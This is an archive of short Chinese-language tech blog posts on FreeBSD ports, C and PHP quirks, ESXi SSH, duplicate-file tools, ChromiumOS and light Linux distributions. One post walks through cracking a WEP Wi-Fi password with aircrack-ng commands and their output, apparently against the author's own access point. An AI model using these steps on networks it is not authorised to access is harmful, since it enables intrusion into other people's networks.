2012/01/28

Prevent configuration while making ports on FreeBSD

在 FreeBSD 裝 ports 時,有些 ports 會需要 make config。

若 ports 很大 (像 KDE 之類的),make 一次不知道就要按多少次 ok 才會繼續動作。但又不是閒閒整天都做在電腦前等著按 ok。

在 man 7 ports 裡面有提到,設定環境參數 BATCH,系統就會使用預設值做編譯,可以省掉不少麻煩。

set BATCH in tcsh:
setenv BATCH yes

設定好之後,大部分的 make config 就會使用預設值並自動往下做。



參考資料:
How can I avoid the prompts when installing a FreeBSD port?
http://unix.stackexchange.com/questions/5257/how-can-i-avoid-the-prompts-when-installing-a-freebsd-port

2012/01/07

用 aircrack 解 WEP 密碼


查詢 AP 資訊,找出目標 SSID 和 channel:
$ sudo iwlist wlan0 scanning
          Cell 01 - Address: 00:14:6C:7E:40:80
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=39/70  Signal level=-71 dBm  
                    Encryption key:on
                    ESSID:"Zeroplex"

用 airmon-ng 進入監聽模式,注意最後一個參數是目標 AP 所用的 channel:
$ sudo airmon-ng start wlan0 11

Interface Chipset  Driver

wlan0  RTL8187  rtl8187 - [phy2]
    (monitor mode enabled on mon0)

訊息後方有顯示模擬來監聽的網卡,之後 aireplay-ng 和 airodump-ng 會用這個 device。先用 aireplay-ng 檢查與目標 AP 的通訊狀況,參數「-9」表示做 injection test:
$ sudo aireplay-ng -9 -e Zeroplex mon0
21:39:04  Waiting for beacon frame (ESSID: Zeroplex) on channel 11
Found BSSID "00:14:6C:7E:40:80" to given ESSID "Zeroplex".
21:39:04  Trying broadcast probe requests...
21:39:04  Injection is working!
21:39:06  Found 1 AP 

21:39:06  Trying directed probe requests...
21:39:06  00:14:6C:7E:40:80 - channel: 11 - 'Zeroplex'
21:39:06  Ping (min/avg/max): 0.604ms/10.323ms/37.851ms Power: -14.86
21:39:06  29/30:  96%

最後一行的百分比表示訊號概況,數值越高表示成功率越高,距離 AP 太遠或是太近都會有影響。

準備好後就可以開始用 airodump-ng 監聽。參數「-i」表示只記錄對破解有用的資訊,沒有家䢢這個參數時,airodump-ng 會記錄所有封包內容,若有人在抓 BT 小心硬碟被吃光光;參數「-w」後加上記錄檔名稱;「--bssid」為目標 AP 的 MAC address、「-c」是channel,若沒有指定特定目標,airodump-ng 會記錄所有接收到的資訊。


$ sudo airodump-ng --bssid 00:14:6C:7E:40:80 -c 11 -i -w data mon0

 CH 11 ][ Elapsed: 0 s ][ 2012-01-07 21:48                                         
                                                                                                                            
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                         
                                                                                                                            
 00:14:6C:7E:40:80  -20   0        9        1    0  11  54e. WEP WEP        Zeroplex        

Beacons 與 Data 數量越多對破解越有利。

最後使用 aircrack 嘗試解開密碼:
$ aircrack-ng record-01.cap -l key.txt


解密碼會花上一段時間,若有成功解開密碼,會將密碼寫進 key.txt 裡;若資訊量不足以解開密碼,請繼續監聽,直到 IVs 達到門檻值後再嘗試。


aircrack 的 tutorial 裡面還有介紹 aireplay-ng 的其他玩法,有興趣的可以試試看。

Tutorial: Simple WEP Crack
http://www.aircrack-ng.org/doku.php?id=simple_wep_crack

2011/12/26

scanf 回傳值

剛學 C 時並沒有注意到 scanf 回傳值。

scanf 讀取成功時會傳回轉換完成的參數數量,如果失敗則會傳回 EOF。讀取資料直到 EOF 可以寫成:
while( scanf(" %s", intput) != EOF ){
   // Todo
}

2011/12/24

for 迴圈

以前用 for 迴圈跑字串,都要寫好常一串:
char s[5]="123";
int index = 0;
while( s[index] != '\0' ){
   // get s[index];
   index++;
}

無意間看到有人這樣寫:
char s[5]="123";
int index;
for(index=0; s[index]; index++){
   // get s[index];
}

原因是 \0 會被當作 false,換做其他資料型別的陣列就沒辦法這樣寫。

2011/12/23

PHP Closing Tags


一般寫 PHP 會將系統設定、資料庫連結等功能分開放在多個不同的檔案中。

index.php:
<?php
   require('settings.php');

   // something else

   session_start();
?>

settings.php:
<?php
   // some settings
?>
 

以上程式執行以後會噴錯誤訊息:
session_start(): Cannot send session cache limiter - headers already sent
原因是在 index.php 呼叫 session_start() 之前已經輸出資料,不過到底是哪裡有輸出資料?仔細看才會發現 settings.php 在「?>」後方還換了一行,換行是在 PHP closing tag 之外,所以就被當作一般資料送出。

當程式很龐大時,這種 bug 實在會讓人摔鍵盤、丟滑鼠、凹螢幕。

事實上 PHP 程式不加上結尾的「?>」也是可以執行的,直譯器到檔案結尾會自動當作該程式段落結束,所以程式可以改寫成這樣:

index.php
<?php
   require('settings.php');

   // something else

   session_start();
 


settings.php
<?php
   // some settings
 
 

2011/12/08

Enable SSH in VMware ESXi

在 ESXi host 上按 F2 登入,選 Troubleshooting Options,將 local / remote Tech Support 啟動。

設定完畢後重新啟動 Management Agent。

2011/12/03

清理硬碟小方法

最近硬碟漲價,聽說是幾乎買不到,只能靠節省硬碟使用量來撐一段時間。

很久前有提到清除系統暫存檔的方法,但重複的檔案其實是最佔硬碟空間的。

我們時常把檔案複製到不同的目錄、更改檔案名稱,整理時卻又忘記改回來,或是懶得打開看內容就乾脆放在一起,硬碟中很可能有二份甚至更多份相同內容的檔案,找出並刪除這些檔案可以省下不少硬碟空間。

網路上有不少搜尋重複檔案的免費工具,我用的是 DuplicateCleaner,能指定搜尋目錄以及搜尋條件 (日期、大小、內容),搜尋後會將重複檔案已群組方式列出,並能透過選擇工具縮短整理的時間。


DuplicateCleaner 執行畫面



單比較檔案內容可能還是會有漏網之魚,例如照片檔案大小不同,但是打開來看到的畫面可能還是會相同。找出這些重複的影像檔能再多幫你省下不少硬碟空間。

網路上也有不少搜尋重複影像檔的工具,我只試了 VisiPics,感覺還不錯用。VisiPics 能設定搜尋目錄、辨識重複影像的門檻,也有快速選擇工具協助減少整理的時間。

VisiPics 執行畫面


天啊 .... 我好宅 XD

2011/11/16

ChromiumOS


從 ChromiumOS 發表當天編來玩玩後,已經好一陣子沒碰了,前陣子某然看到 Google OS 的新聞,就把 ChromiumOS checkout 出來在編一次,沒想到與之前看到的差非常多。

新版的介面很有親和力,網路、中文支援也比以前完整。


開機後先選擇語言



可以選擇要使用哪一個網路設定,選無線網路可先設定連線密碼



網路可以使用時,系統會自動檢查更新



使用 Google Account 登入




登入成功



網路設定頁面





可以使用 File Manager 從取硬碟、隨身碟上的資料




File Manager 操作畫面



File Manager 操作畫面


另外,當網路環境必須先透過網頁驗證後才能使用的話,ChromiumOS 可以先用隱身模式開啟瀏覽器,等到使用者驗證完畢以後,再切回一般模式繼續使用。

幾套輕量的 Linux 發行版

朋友一台舊筆電捨不得丟掉,想找方法讓他可以繼續用。CPU 600MHz、RAM 128M,要跑有圖形介面的 OS 實在頗辛苦。

從網路上找了幾套測試,目標是有圖形介面,操作盡量不碰到 terminal,可以上網也看得到中文字。


Lubuntu




記憶體 128MB 就可以動,圖形介面可漂亮,且已經支援中文。另外有套件庫可以自行安裝需要的軟體。




xPud





記憶體至少 192MB,整個 ISO 僅 50MB 左右,開機非常快,介面乾淨漂亮且有中文。xPud 整個系統僅安裝 Firefox,沒有其他軟體。




Tiny Core Linux



網址:http://distro.ibiblio.org/tinycorelinux/welcome.html

記憶體 128M 就可以動,開機頗快,可以透過套件庫安裝軟體,好像沒中文。




Damn Small Linux





記憶體 128M 就可以跑,開機稍慢,進入桌面後記憶體只使用 25MB 左右,可以透過套件庫安裝軟體,沒有中文 (另外安裝字型檔後可以顯示中文)。